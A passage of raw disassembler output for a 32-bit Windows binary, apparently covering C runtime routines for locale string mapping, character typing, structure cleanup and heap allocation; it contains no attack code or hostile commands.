jnz short loc_40ACE9 push 101h mov eax, [ebx+esi*4+8] call sub_40AD29 mov eax, [ebx+esi*4+8] call sub_40AD48 loc_40ACE9: ; CODE XREF: sub_40AC79+57j jmp short loc_40ACA2 ; --------------------------------------------------------------------------- loc_40ACEB: ; CODE XREF: sub_40AC79+36j ; sub_40AC79+43j mov ecx, [esp+24h+var_20] mov large fs:0, ecx add esp, 18h pop edi pop esi pop ebx retn sub_40AC79 endp ; --------------------------------------------------------------------------- xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset loc_40AC34 jnz short locret_40AD1F mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_40AD1F mov eax, 1 locret_40AD1F: ; CODE XREF: seg001:0040AD0Dj ; seg001:0040AD18j retn ; --------------------------------------------------------------------------- push ebx push ecx mov ebx, offset dword_411170 jmp short loc_40AD34 ; =============== S U B R O U T I N E ======================================= sub_40AD29 proc near ; CODE XREF: sub_407E38+6Ep ; sub_404650+38F9p ... arg_0 = dword ptr 4 push ebx push ecx mov ebx, offset dword_411170 mov ecx, [esp+8+arg_0] loc_40AD34: ; CODE XREF: seg001:0040AD27j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp push ebp push ecx push eax pop eax pop ecx pop ebp pop ecx pop ebx retn 4 sub_40AD29 endp ; =============== S U B R O U T I N E ======================================= sub_40AD48 proc near ; CODE XREF: sub_407E38+7Bp ; sub_40AC79+6Bp call eax retn sub_40AD48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AD4B proc near ; CODE XREF: sub_40B0ED+2Cp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 14h mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax push ebx push esi xor ebx, ebx cmp dword_411D6C, ebx push edi mov esi, ecx jnz short loc_40ADA2 push ebx push ebx xor edi, edi inc edi push edi push offset dword_40DAA4 push 100h push ebx call dword_40D098 ; LCMapStringW test eax, eax jz short loc_40AD8D mov dword_411D6C, edi jmp short loc_40ADA2 ; --------------------------------------------------------------------------- loc_40AD8D: ; CODE XREF: sub_40AD4B+38j call dword_40D050 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_40ADA2 mov dword_411D6C, 2 loc_40ADA2: ; CODE XREF: sub_40AD4B+1Dj ; sub_40AD4B+40j ... cmp [ebp+arg_C], ebx jle short loc_40ADC9 mov ecx, [ebp+arg_C] mov eax, [ebp+arg_8] loc_40ADAD: ; CODE XREF: sub_40AD4B+6Aj dec ecx cmp [eax], bl jz short loc_40ADBA inc eax cmp ecx, ebx jnz short loc_40ADAD or ecx, 0FFFFFFFFh loc_40ADBA: ; CODE XREF: sub_40AD4B+65j mov eax, [ebp+arg_C] sub eax, ecx dec eax cmp eax, [ebp+arg_C] jge short loc_40ADC6 inc eax loc_40ADC6: ; CODE XREF: sub_40AD4B+78j mov [ebp+arg_C], eax loc_40ADC9: ; CODE XREF: sub_40AD4B+5Aj mov eax, dword_411D6C cmp eax, 2 jz loc_40AF82 cmp eax, ebx jz loc_40AF82 cmp eax, 1 jnz loc_40AFB3 cmp [ebp+arg_18], ebx mov [ebp+var_8], ebx jnz short loc_40ADF8 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_40ADF8: ; CODE XREF: sub_40AD4B+A3j mov esi, dword_40D0F0 xor eax, eax cmp [ebp+arg_1C], ebx push ebx push ebx push [ebp+arg_C] setnz al push [ebp+arg_8] lea eax, ds:1[eax*8] push eax push [ebp+arg_18] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_40AFB3 jle short loc_40AE6A push 0FFFFFFE0h xor edx, edx pop eax div edi cmp eax, 2 jb short loc_40AE6A lea eax, [edi+edi+8] cmp eax, 400h ja short loc_40AE51 call sub_40BF90 mov eax, esp cmp eax, ebx jz short loc_40AE65 mov dword ptr [eax], 0CCCCh jmp short loc_40AE62 ; --------------------------------------------------------------------------- loc_40AE51: ; CODE XREF: sub_40AD4B+F1j push eax call sub_403B17 cmp eax, ebx pop ecx jz short loc_40AE65 mov dword ptr [eax], 0DDDDh loc_40AE62: ; CODE XREF: sub_40AD4B+104j add eax, 8 loc_40AE65: ; CODE XREF: sub_40AD4B+FCj ; sub_40AD4B+10Fj mov [ebp+var_C], eax jmp short loc_40AE6D ; --------------------------------------------------------------------------- loc_40AE6A: ; CODE XREF: sub_40AD4B+DAj ; sub_40AD4B+E6j mov [ebp+var_C], ebx loc_40AE6D: ; CODE XREF: sub_40AD4B+11Dj cmp [ebp+var_C], ebx jz loc_40AFB3 push edi push [ebp+var_C] push [ebp+arg_C] push [ebp+arg_8] push 1 push [ebp+arg_18] call esi ; MultiByteToWideChar test eax, eax jz loc_40AF71 mov esi, dword_40D098 push ebx push ebx push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW mov ecx, eax cmp ecx, ebx mov [ebp+var_8], ecx jz loc_40AF71 test word ptr [ebp+arg_4], 400h jz short loc_40AEE1 cmp [ebp+arg_14], ebx jz loc_40AF71 cmp ecx, [ebp+arg_14] jg loc_40AF71 push [ebp+arg_14] push [ebp+arg_10] push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringW jmp loc_40AF71 ; --------------------------------------------------------------------------- loc_40AEE1: ; CODE XREF: sub_40AD4B+16Bj cmp ecx, ebx jle short loc_40AF2A push 0FFFFFFE0h xor edx, edx pop eax div ecx cmp eax, 2 jb short loc_40AF2A lea eax, [ecx+ecx+8] cmp eax, 400h ja short loc_40AF12 call sub_40BF90 mov esi, esp cmp esi, ebx jz short loc_40AF71 mov dword ptr [esi], 0CCCCh add esi, 8 jmp short loc_40AF2C ; --------------------------------------------------------------------------- loc_40AF12: ; CODE XREF: sub_40AD4B+1AFj push eax call sub_403B17 cmp eax, ebx pop ecx jz short loc_40AF26 mov dword ptr [eax], 0DDDDh add eax, 8 loc_40AF26: ; CODE XREF: sub_40AD4B+1D0j mov esi, eax jmp short loc_40AF2C ; --------------------------------------------------------------------------- loc_40AF2A: ; CODE XREF: sub_40AD4B+198j ; sub_40AD4B+1A4j xor esi, esi loc_40AF2C: ; CODE XREF: sub_40AD4B+1C5j ; sub_40AD4B+1DDj cmp esi, ebx jz short loc_40AF71 push [ebp+var_8] push esi push edi push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call dword_40D098 ; LCMapStringW test eax, eax jz short loc_40AF6A cmp [ebp+arg_14], ebx push ebx push ebx jnz short loc_40AF53 push ebx push ebx jmp short loc_40AF59 ; --------------------------------------------------------------------------- loc_40AF53: ; CODE XREF: sub_40AD4B+202j push [ebp+arg_14] push [ebp+arg_10] loc_40AF59: ; CODE XREF: sub_40AD4B+206j push [ebp+var_8] push esi push ebx push [ebp+arg_18] call dword_40D19C ; WideCharToMultiByte mov [ebp+var_8], eax loc_40AF6A: ; CODE XREF: sub_40AD4B+1FBj push esi call sub_40AB04 pop ecx loc_40AF71: ; CODE XREF: sub_40AD4B+13Ej ; sub_40AD4B+15Fj ... push [ebp+var_C] call sub_40AB04 mov eax, [ebp+var_8] pop ecx jmp loc_40B0DB ; --------------------------------------------------------------------------- loc_40AF82: ; CODE XREF: sub_40AD4B+86j ; sub_40AD4B+8Ej cmp [ebp+arg_0], ebx mov [ebp+var_C], ebx mov [ebp+var_10], ebx jnz short loc_40AF95 mov eax, [esi] mov eax, [eax+14h] mov [ebp+arg_0], eax loc_40AF95: ; CODE XREF: sub_40AD4B+240j cmp [ebp+arg_18], ebx jnz short loc_40AFA2 mov eax, [esi] mov eax, [eax+4] mov [ebp+arg_18], eax loc_40AFA2: ; CODE XREF: sub_40AD4B+24Dj push [ebp+arg_0] call sub_40BFBC cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jnz short loc_40AFBA loc_40AFB3: ; CODE XREF: sub_40AD4B+97j ; sub_40AD4B+D4j ... xor eax, eax jmp loc_40B0DB ; --------------------------------------------------------------------------- loc_40AFBA: ; CODE XREF: sub_40AD4B+266j cmp eax, [ebp+arg_18] jz loc_40B09E push ebx push ebx lea ecx, [ebp+arg_C] push ecx push [ebp+arg_8] push eax push [ebp+arg_18] call sub_40C003 add esp, 18h cmp eax, ebx mov [ebp+var_C], eax jz short loc_40AFB3 mov esi, dword_40D09C push ebx push ebx push [ebp+arg_C] push eax push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringA cmp eax, ebx mov [ebp+var_8], eax jnz short loc_40B001 loc_40AFFA: ; CODE XREF: sub_40AD4B+2D0j ; sub_40AD4B+2F9j xor esi, esi jmp loc_40B0B8 ; --------------------------------------------------------------------------- loc_40B001: ; CODE XREF: sub_40AD4B+2ADj jle short loc_40B040 cmp eax, 0FFFFFFE0h ja short loc_40B040 add eax, 8 cmp eax, 400h ja short loc_40B028 call sub_40BF90 mov edi, esp cmp edi, ebx jz short loc_40AFFA mov dword ptr [edi], 0CCCCh add edi, 8 jmp short loc_40B042 ; --------------------------------------------------------------------------- loc_40B028: ; CODE XREF: sub_40AD4B+2C5j push eax call sub_403B17 cmp eax, ebx pop ecx jz short loc_40B03C mov dword ptr [eax], 0DDDDh add eax, 8 loc_40B03C: ; CODE XREF: sub_40AD4B+2E6j mov edi, eax jmp short loc_40B042 ; --------------------------------------------------------------------------- loc_40B040: ; CODE XREF: sub_40AD4B:loc_40B001j ; sub_40AD4B+2BBj xor edi, edi loc_40B042: ; CODE XREF: sub_40AD4B+2DBj ; sub_40AD4B+2F3j cmp edi, ebx jz short loc_40AFFA push [ebp+var_8] push ebx push edi call sub_403FE0 add esp, 0Ch push [ebp+var_8] push edi push [ebp+arg_C] push [ebp+var_C] push [ebp+arg_4] push [ebp+arg_0] call esi ; LCMapStringA cmp eax, ebx mov [ebp+var_8], eax jnz short loc_40B070 xor esi, esi jmp short loc_40B095 ; --------------------------------------------------------------------------- loc_40B070: ; CODE XREF: sub_40AD4B+31Fj push [ebp+arg_14] lea eax, [ebp+var_8] push [ebp+arg_10] push eax push edi push [ebp+arg_18] push [ebp+var_14] call sub_40C003 mov esi, eax mov [ebp+var_10], esi add esp, 18h neg esi sbb esi, esi and esi, [ebp+var_8] loc_40B095: ; CODE XREF: sub_40AD4B+323j push edi call sub_40AB04 pop ecx jmp short loc_40B0B8 ; --------------------------------------------------------------------------- loc_40B09E: ; CODE XREF: sub_40AD4B+272j push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_40D09C ; LCMapStringA mov esi, eax loc_40B0B8: ; CODE XREF: sub_40AD4B+2B1j ; sub_40AD4B+351j cmp [ebp+var_C], ebx jz short loc_40B0C6 push [ebp+var_C] call sub_40405A pop ecx loc_40B0C6: ; CODE XREF: sub_40AD4B+370j mov eax, [ebp+var_10] cmp eax, ebx jz short loc_40B0D9 cmp [ebp+arg_10], eax jz short loc_40B0D9 push eax call sub_40405A pop ecx loc_40B0D9: ; CODE XREF: sub_40AD4B+380j ; sub_40AD4B+385j mov eax, esi loc_40B0DB: ; CODE XREF: sub_40AD4B+232j ; sub_40AD4B+26Aj lea esp, [ebp-20h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_403F45 leave retn sub_40AD4B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B0ED proc near ; CODE XREF: sub_40800F+B6p ; sub_40800F+DBp ... var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_4048C8 push [ebp+arg_20] lea ecx, [ebp+var_10] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_40AD4B add esp, 20h cmp [ebp+var_4], 0 jz short locret_40B12E mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_40B12E: ; CODE XREF: sub_40B0ED+38j leave retn sub_40B0ED endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B130 proc near ; CODE XREF: sub_40B2E8+29p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push ecx push ecx mov eax, dword_410440 xor eax, ebp mov [ebp+var_4], eax mov eax, dword_411D70 push ebx push esi xor ebx, ebx cmp eax, ebx push edi mov edi, ecx jnz short loc_40B189 lea eax, [ebp+var_8] push eax xor esi, esi inc esi push esi push offset dword_40DAA4 push esi call dword_40D090 ; GetStringTypeW test eax, eax jz short loc_40B16F mov dword_411D70, esi jmp short loc_40B1A3 ; --------------------------------------------------------------------------- loc_40B16F: ; CODE XREF: sub_40B130+35j call dword_40D050 ; RtlGetLastWin32Error cmp eax, 78h jnz short loc_40B184 push 2 pop eax mov dword_411D70, eax jmp short loc_40B189 ; --------------------------------------------------------------------------- loc_40B184: ; CODE XREF: sub_40B130+48j mov eax, dword_411D70 loc_40B189: ; CODE XREF: sub_40B130+1Dj ; sub_40B130+52j cmp eax, 2 jz loc_40B261 cmp eax, ebx jz loc_40B261 cmp eax, 1 jnz loc_40B28B loc_40B1A3: ; CODE XREF: sub_40B130+3Dj cmp [ebp+arg_10], ebx mov [ebp+var_8], ebx jnz short loc_40B1B3 mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_40B1B3: ; CODE XREF: sub_40B130+79j mov esi, dword_40D0F0 xor eax, eax cmp [ebp+arg_18], ebx push ebx push ebx push [ebp+arg_8] setnz al push [ebp+arg_4] lea eax, ds:1[eax*8] push eax push [ebp+arg_10] call esi ; MultiByteToWideChar mov edi, eax cmp edi, ebx jz loc_40B28B jle short loc_40B21E cmp edi, 7FFFFFF0h ja short loc_40B21E lea eax, [edi+edi+8] cmp eax, 400h ja short loc_40B208 call sub_40BF90 mov eax, esp cmp eax, ebx jz short loc_40B21C mov dword ptr [eax], 0CCCCh jmp short loc_40B219 ; --------------------------------------------------------------------------- loc_40B208: ; CODE XREF: sub_40B130+C3j push eax call sub_403B17 cmp eax, ebx pop ecx jz short loc_40B21C mov dword ptr [eax], 0DDDDh loc_40B219: ; CODE XREF: sub_40B130+D6j add eax, 8 loc_40B21C: ; CODE XREF: sub_40B130+CEj ; sub_40B130+E1j mov ebx, eax loc_40B21E: ; CODE XREF: sub_40B130+B0j ; sub_40B130+B8j test ebx, ebx jz short loc_40B28B lea eax, [edi+edi] push eax push 0 push ebx call sub_403FE0 add esp, 0Ch push edi push ebx push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] call esi ; MultiByteToWideChar test eax, eax jz short loc_40B255 push [ebp+arg_C] push eax push ebx push [ebp+arg_0] call dword_40D090 ; GetStringTypeW mov [ebp+var_8], eax loc_40B255: ; CODE XREF: sub_40B130+112j push ebx call sub_40AB04 mov eax, [ebp+var_8] pop ecx jmp short loc_40B2D6 ; --------------------------------------------------------------------------- loc_40B261: ; CODE XREF: sub_40B130+5Cj ; sub_40B130+64j xor esi, esi cmp [ebp+arg_14], ebx jnz short loc_40B270 mov eax, [edi] mov eax, [eax+14h] mov [ebp+arg_14], eax loc_40B270: ; CODE XREF: sub_40B130+136j cmp [ebp+arg_10], ebx jnz short loc_40B27D mov eax, [edi] mov eax, [eax+4] mov [ebp+arg_10], eax loc_40B27D: ; CODE XREF: sub_40B130+143j push [ebp+arg_14] call sub_40BFBC cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40B28F loc_40B28B: ; CODE XREF: sub_40B130+6Dj ; sub_40B130+AAj ... xor eax, eax jmp short loc_40B2D6 ; --------------------------------------------------------------------------- loc_40B28F: ; CODE XREF: sub_40B130+159j cmp eax, [ebp+arg_10] jz short loc_40B2B2 push ebx push ebx lea ecx, [ebp+arg_8] push ecx push [ebp+arg_4] push eax push [ebp+arg_10] call sub_40C003 mov esi, eax add esp, 18h cmp esi, ebx jz short loc_40B28B mov [ebp+arg_4], esi loc_40B2B2: ; CODE XREF: sub_40B130+162j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push [ebp+arg_14] call dword_40D094 ; GetStringTypeA cmp esi, ebx mov edi, eax jz short loc_40B2D4 push esi call sub_40405A pop ecx loc_40B2D4: ; CODE XREF: sub_40B130+19Bj mov eax, edi loc_40B2D6: ; CODE XREF: sub_40B130+12Fj ; sub_40B130+15Dj lea esp, [ebp-14h] pop edi pop esi pop ebx mov ecx, [ebp+var_4] xor ecx, ebp call sub_403F45 leave retn sub_40B130 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2E8 proc near ; CODE XREF: sub_40800F+96p ; sub_40AB1F+83p var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_4048C8 push [ebp+arg_1C] lea ecx, [ebp+var_10] push [ebp+arg_18] push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] call sub_40B130 add esp, 1Ch cmp [ebp+var_4], 0 jz short locret_40B326 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_40B326: ; CODE XREF: sub_40B2E8+35j leave retn sub_40B2E8 endp ; =============== S U B R O U T I N E ======================================= sub_40B328 proc near ; CODE XREF: sub_408648+E9p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz loc_40B4B6 push dword ptr [esi+4] call sub_40405A push dword ptr [esi+8] call sub_40405A push dword ptr [esi+0Ch] call sub_40405A push dword ptr [esi+10h] call sub_40405A push dword ptr [esi+14h] call sub_40405A push dword ptr [esi+18h] call sub_40405A push dword ptr [esi] call sub_40405A push dword ptr [esi+20h] call sub_40405A push dword ptr [esi+24h] call sub_40405A push dword ptr [esi+28h] call sub_40405A push dword ptr [esi+2Ch] call sub_40405A push dword ptr [esi+30h] call sub_40405A push dword ptr [esi+34h] call sub_40405A push dword ptr [esi+1Ch] call sub_40405A push dword ptr [esi+38h] call sub_40405A push dword ptr [esi+3Ch] call sub_40405A add esp, 40h push dword ptr [esi+40h] call sub_40405A push dword ptr [esi+44h] call sub_40405A push dword ptr [esi+48h] call sub_40405A push dword ptr [esi+4Ch] call sub_40405A push dword ptr [esi+50h] call sub_40405A push dword ptr [esi+54h] call sub_40405A push dword ptr [esi+58h] call sub_40405A push dword ptr [esi+5Ch] call sub_40405A push dword ptr [esi+60h] call sub_40405A push dword ptr [esi+64h] call sub_40405A push dword ptr [esi+68h] call sub_40405A push dword ptr [esi+6Ch] call sub_40405A push dword ptr [esi+70h] call sub_40405A push dword ptr [esi+74h] call sub_40405A push dword ptr [esi+78h] call sub_40405A push dword ptr [esi+7Ch] call sub_40405A add esp, 40h push dword ptr [esi+80h] call sub_40405A push dword ptr [esi+84h] call sub_40405A push dword ptr [esi+88h] call sub_40405A push dword ptr [esi+8Ch] call sub_40405A push dword ptr [esi+90h] call sub_40405A push dword ptr [esi+94h] call sub_40405A push dword ptr [esi+98h] call sub_40405A push dword ptr [esi+9Ch] call sub_40405A push dword ptr [esi+0A0h] call sub_40405A push dword ptr [esi+0A4h] call sub_40405A push dword ptr [esi+0A8h] call sub_40405A add esp, 2Ch loc_40B4B6: ; CODE XREF: sub_40B328+7j pop esi retn sub_40B328 endp ; =============== S U B R O U T I N E ======================================= sub_40B4B8 proc near ; CODE XREF: sub_408648+64p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_40B4F6 mov eax, [esi] cmp eax, off_411248 jz short loc_40B4D2 push eax call sub_40405A pop ecx loc_40B4D2: ; CODE XREF: sub_40B4B8+11j mov eax, [esi+4] cmp eax, off_41124C jz short loc_40B4E4 push eax call sub_40405A pop ecx loc_40B4E4: ; CODE XREF: sub_40B4B8+23j mov esi, [esi+8] cmp esi, off_411250 jz short loc_40B4F6 push esi call sub_40405A pop ecx loc_40B4F6: ; CODE XREF: sub_40B4B8+7j ; sub_40B4B8+35j pop esi retn sub_40B4B8 endp ; =============== S U B R O U T I N E ======================================= sub_40B4F8 proc near ; CODE XREF: sub_408648+43p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_40B57F mov eax, [esi+0Ch] cmp eax, off_411254 jz short loc_40B513 push eax call sub_40405A pop ecx loc_40B513: ; CODE XREF: sub_40B4F8+12j mov eax, [esi+10h] cmp eax, off_411258 jz short loc_40B525 push eax call sub_40405A pop ecx loc_40B525: ; CODE XREF: sub_40B4F8+24j mov eax, [esi+14h] cmp eax, off_41125C jz short loc_40B537 push eax call sub_40405A pop ecx loc_40B537: ; CODE XREF: sub_40B4F8+36j mov eax, [esi+18h] cmp eax, off_411260 jz short loc_40B549 push eax call sub_40405A pop ecx loc_40B549: ; CODE XREF: sub_40B4F8+48j mov eax, [esi+1Ch] cmp eax, off_411264 jz short loc_40B55B push eax call sub_40405A pop ecx loc_40B55B: ; CODE XREF: sub_40B4F8+5Aj mov eax, [esi+20h] cmp eax, off_411268 jz short loc_40B56D push eax call sub_40405A pop ecx loc_40B56D: ; CODE XREF: sub_40B4F8+6Cj mov esi, [esi+24h] cmp esi, off_41126C jz short loc_40B57F push esi call sub_40405A pop ecx loc_40B57F: ; CODE XREF: sub_40B4F8+7j ; sub_40B4F8+7Ej pop esi retn sub_40B4F8 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_40B5A4: ; CODE XREF: seg001:0040B5B1j mov al, [edx] or al, al jz short loc_40B5B3 add edx, 1 bts [esp], eax jmp short loc_40B5A4 ; --------------------------------------------------------------------------- loc_40B5B3: ; CODE XREF: seg001:0040B5A8j mov esi, [ebp+8] or ecx, 0FFFFFFFFh lea ecx, [ecx+0] loc_40B5BC: ; CODE XREF: seg001:0040B5CCj add ecx, 1 mov al, [esi] or al, al jz short loc_40B5CE add esi, 1 bt [esp], eax jnb short loc_40B5BC loc_40B5CE: ; CODE XREF: seg001:0040B5C3j mov eax, ecx add esp, 20h pop esi leave retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push esi xor eax, eax push eax push eax push eax push eax push eax push eax push eax push eax mov edx, [ebp+0Ch] lea ecx, [ecx+0] loc_40B5F4: ; CODE XREF: seg001:0040B601j mov al, [edx] or al, al jz short loc_40B603 add edx, 1 bts [esp], eax jmp short loc_40B5F4 ; --------------------------------------------------------------------------- loc_40B603: ; CODE XREF: seg001:0040B5F8j mov esi, [ebp+8] mov edi, edi loc_40B608: ; CODE XREF: seg001:0040B615j mov al, [esi] or al, al jz short loc_40B61A add esi, 1 bt [esp], eax jnb short loc_40B608 lea eax, [esi-1] loc_40B61A: ; CODE XREF: seg001:0040B60Cj add esp, 20h pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B620 proc near ; CODE XREF: sub_40B671+Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_4048C8 movzx eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov dl, [ebp+arg_C] test [ecx+eax+1Dh], dl jnz short loc_40B65F cmp [ebp+arg_8], 0 jz short loc_40B659 mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, [ebp+arg_8] jmp short loc_40B65B ; --------------------------------------------------------------------------- loc_40B659: ; CODE XREF: sub_40B620+25j xor eax, eax loc_40B65B: ; CODE XREF: sub_40B620+37j test eax, eax jz short loc_40B662 loc_40B65F: ; CODE XREF: sub_40B620+1Fj xor eax, eax inc eax loc_40B662: ; CODE XREF: sub_40B620+3Dj cmp [ebp+var_4], 0 jz short locret_40B66F mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_40B66F: ; CODE XREF: sub_40B620+46j leave retn sub_40B620 endp ; =============== S U B R O U T I N E ======================================= sub_40B671 proc near ; CODE XREF: sub_408B89+3Fp ; sub_408CC1+53p ... arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] push 0 call sub_40B620 add esp, 10h retn sub_40B671 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B684 proc near ; CODE XREF: sub_409363+Ep var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h ; FUNCTION CHUNK AT 0040B789 SIZE 00000019 BYTES push 0Ch push offset dword_40E740 call __SEH_prolog4 mov ecx, [ebp+arg_0] xor edi, edi cmp ecx, edi jbe short loc_40B6C7 push 0FFFFFFE0h pop eax xor edx, edx div ecx cmp eax, [ebp+arg_4] sbb eax, eax inc eax jnz short loc_40B6C7 call sub_403F8F mov dword ptr [eax], 0Ch push edi push edi push edi push edi push edi call sub_404E8B add esp, 14h loc_40B6C0: ; CODE XREF: sub_40B684+E6j ; sub_40B684+F2j xor eax, eax jmp loc_40B79C ; --------------------------------------------------------------------------- loc_40B6C7: ; CODE XREF: sub_40B684+13j ; sub_40B684+22j imul ecx, [ebp+arg_4] mov esi, ecx mov [ebp+arg_0], esi cmp esi, edi jnz short loc_40B6D7 xor esi, esi inc esi loc_40B6D7: ; CODE XREF: sub_40B684+4Ej ; sub_40B684+DBj xor ebx, ebx mov [ebp+var_1C], ebx cmp esi, 0FFFFFFE0h ja short loc_40B74A cmp dword_413B88, 3 jnz short loc_40B735 add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi mov eax, [ebp+arg_0] cmp eax, dword_413B94 ja short loc_40B735 push 4 call sub_405121 pop ecx mov [ebp+ms_exc.disabled], edi push [ebp+arg_0] call sub_40596E pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40B780 mov ebx, [ebp+var_1C] cmp ebx, edi jz short loc_40B739 push [ebp+arg_0] push edi push ebx call sub_403FE0 add esp, 0Ch loc_40B735: ; CODE XREF: sub_40B684+64j ; sub_40B684+78j cmp ebx, edi jnz short loc_40B79A loc_40B739: ; CODE XREF: sub_40B684+A2j push esi push 8 push dword_41157C call dword_40D0F8 ; RtlAllocateHeap mov ebx, eax loc_40B74A: ; CODE XREF: sub_40B684+5Bj cmp ebx, edi jnz short loc_40B79A cmp dword_411898, edi jz short loc_40B789 push esi call sub_405F45 pop ecx test eax, eax jnz loc_40B6D7 mov eax, [ebp+arg_8] cmp eax, edi jz loc_40B6C0 mov dword ptr [eax], 0Ch jmp loc_40B6C0 sub_40B684 endp ; =============== S U B R O U T I N E ======================================= sub_40B77B proc near ; DATA XREF: seg001:0040E758o xor edi, edi mov esi, [ebp+0Ch] sub_40B77B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40B780 proc near ; CODE XREF: sub_40B684+98p push 4 call sub_405049 pop ecx retn sub_40B780 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40B684 loc_40B789: ; CODE XREF: sub_40B684+D0j cmp ebx, edi jnz short loc_40B79A mov eax, [ebp+arg_8] cmp eax, edi jz short loc_40B79A mov dword ptr [eax], 0Ch loc_40B79A: ; CODE XREF: sub_40B684+B3j ; sub_40B684+C8j ... mov eax, ebx loc_40B79C: ; CODE XREF: sub_40B684+3Ej call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_40B684 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A2 proc near ; CODE XREF: sub_4093AB+Cp var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0040B8EF SIZE 000000CE BYTES push 10h push offset dword_40E760 call __SEH_prolog4 mov ebx, [ebp+arg_0] test ebx, ebx jnz short loc_40B7C3 push [ebp+arg_4] call sub_403B17 pop ecx jmp loc_40B98F ; --------------------------------------------------------------------------- loc_40B7C3: ; CODE XREF: sub_40B7A2+11j mov esi, [ebp+arg_4] test esi, esi jnz short loc_40B7D6 push ebx call sub_40405A pop ecx jmp loc_40B98D ; --------------------------------------------------------------------------- loc_40B7D6: ; CODE XREF: sub_40B7A2+26j cmp dword_413B88, 3 jnz loc_40B976 